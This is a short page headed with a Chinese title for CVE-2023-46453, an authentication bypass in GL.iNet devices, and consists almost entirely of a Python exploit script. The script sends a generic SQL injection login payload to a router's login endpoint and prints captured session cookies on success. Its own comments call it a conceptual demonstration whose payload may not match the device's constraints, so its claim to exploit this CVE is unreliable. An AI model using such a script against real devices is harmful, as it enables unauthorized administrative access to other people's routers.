CVE-2023-46453 GL.iNet设备认证绕过漏洞

import requests # Target URL (Example) target_url = "http://192.168.8.1/login" # The payload must be a valid regex AND a valid SQL statement # Based on the vulnerability description, a crafted input is used to bypass auth. # Common logic bypass payloads often involve SQL comments or logical operators. # Example Payload: A string that matches the username regex but breaks the SQL query. # Note: The exact payload depends on the specific regex and SQL structure of the device. # This is a conceptual demonstration. payload_data = { "username": "admin' OR '1'='1", # This is a standard SQLi payload structure; the actual payload might need to match specific regex constraints. "password": "irrelevant" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: response = requests.post(target_url, data=payload_data, headers=headers, timeout=10) # Check if login was successful (e.g., HTTP 200 and presence of session cookie or dashboard content) if response.status_code == 200 and ("dashboard" in response.text or "admin" in response.cookies.get_dict().values()): print("[+] Exploit successful! Authentication bypassed.") print("[+] Session Cookie:", response.cookies.get_dict()) else: print("[-] Exploit failed. Target may not be vulnerable or patched.") print("Response status code:", response.status_code) except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}")